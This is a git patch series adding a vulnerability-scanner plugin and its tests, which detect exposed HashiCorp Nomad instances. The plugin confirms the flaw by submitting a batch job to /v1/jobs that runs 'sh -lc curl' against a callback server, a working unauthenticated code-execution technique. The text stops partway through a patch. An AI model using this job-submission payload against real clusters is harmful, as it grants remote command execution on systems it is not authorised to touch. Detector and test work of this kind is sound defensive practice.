From 11f502550be30bc60f0a55eb8bb1fb48cab51c1d Mon Sep 17 00:00:00 2001 From: am0o0 <77095239+am0o0@users.noreply.github.com> Date: Wed, 20 Aug 2025 01:54:09 +0400 Subject: [PATCH 1/6] hashicorp nomad exposed UI RCE --- .../HashicorpNomad_ExposedUI.textproto | 104 +++++++++++++++++ .../HashicorpNomad_ExposedUI_test.textproto | 105 ++++++++++++++++++ 2 files changed, 209 insertions(+) create mode 100644 templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto create mode 100644 templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto new file mode 100644 index 000000000..12506fd38 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto @@ -0,0 +1,104 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "HashicorpNomad_ExposedUI" + author: "Am0o0" + version: "0.1" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "HASHICORPNOMAD_EXPOSED_UI" + } + title: "Exposed HashicorpNomad instance" + description: "HashicorpNomad instance is exposed and can be used to compromise the system." + recommendation: + "Configure authentication or ensure the HashicorpNomad instance is not exposed " + "to the network. See " + "https://developer.hashicorp.com/nomad/install for details." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +actions: { + name: "hashicorpnomad_exposed_ui_fingerprint" + http_request: { + method: GET + uri: "/ui/" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: 'Copyright (c) HashiCorp, Inc.' } + conditions: { body {} contains: 'Nomad' } + } + } + } +} + +actions: { + name: "create_tsunami_job" + http_request: { + method: POST + uri: "/v1/jobs" + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}' + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: '"EvalCreateIndex"' } + conditions: { body {} contains: '"EvalID"' } + conditions: { body {} contains: '"Index"' } + conditions: { body {} contains: '"JobModifyIndex"' } + } + } + } + cleanup_actions: "cleanup_tsunami_job" +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 3000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +actions: { + name: "cleanup_tsunami_job" + http_request: { + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + method: DELETE + uri: "/v1/job/tsunami-job?purge=true" + response: { + http_status: 200 + } + } +} + +############# +# WORKFLOWS # +############# +workflows: { + actions: [ + "hashicorpnomad_exposed_ui_fingerprint", + "create_tsunami_job", + "sleep", + "check_callback_server_logs" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto new file mode 100644 index 000000000..f50d0177d --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto @@ -0,0 +1,105 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "HashicorpNomad_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + mock_http_server: { + mock_responses: [ + { + uri: "/ui/" + status: 200 + body_content: + 'Copyright (c) HashiCorp, Inc.' + 'Nomad' + }, + { + uri: "/v1/jobs" + status: 200 + body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}' + condition: { + body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}' + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + }, + }, + { + uri: "/v1/job/tsunami-job?purge=true" + status: 200 + condition: { + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + } + } + ] + } +} + + +tests: { + name: "whenNotNomad_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/ui/" + status: 400 + body_content: "..." + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/ui/" + status: 200 + body_content: + 'Copyright (c) HashiCorp, Inc.' + 'Nomad' + }, + { + uri: "/v1/jobs" + status: 200 + body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}' + condition: { + body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}' + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + } + }, + { + uri: "/v1/job/tsunami-job?purge=true" + status: 200 + condition: { + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + } + } + ] + } +} \ No newline at end of file From a080d7cc95cdc317b30459d190d9e1ea38945399 Mon Sep 17 00:00:00 2001 From: am0o0 <77095239+am0o0@users.noreply.github.com> Date: Fri, 20 Feb 2026 15:53:36 +0400 Subject: [PATCH 2/6] fix nomad jobcreate_tsunami_job action by removing unnecessary fields --- .../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 6 ++++-- .../exposedui/HashicorpNomad_ExposedUI_test.textproto | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto index 12506fd38..d69bb5354 100644 --- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto @@ -53,7 +53,7 @@ actions: { headers: [ { name: "Content-Type" value: "application/json; charset=utf-8" } ] - data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}' + data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}' response: { http_status: 200 expect_all: { @@ -90,7 +90,9 @@ actions: { } } } - +config:{ + debug: true +} ############# # WORKFLOWS # ############# diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto index f50d0177d..113d50c77 100644 --- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto @@ -85,7 +85,7 @@ tests: { status: 200 body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}' condition: { - body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}' + body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}' headers: [ { name: "Content-Type" value: "application/json; charset=utf-8" } ] From 162c76a930fbcef738f69d12725a482c3e5f29ee Mon Sep 17 00:00:00 2001 From: am0o0 <77095239+am0o0@users.noreply.github.com> Date: Fri, 20 Feb 2026 15:57:52 +0400 Subject: [PATCH 3/6] update remaining test, remove debug config --- .../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 3 --- .../plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto | 2 +- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto index d69bb5354..84bc21ee5 100644 --- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto @@ -90,9 +90,6 @@ actions: { } } } -config:{ - debug: true -} ############# # WORKFLOWS # ############# diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto index 113d50c77..cef5fe11b 100644 --- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto @@ -27,7 +27,7 @@ tests: { status: 200 body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}' condition: { - body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}' + body_content: 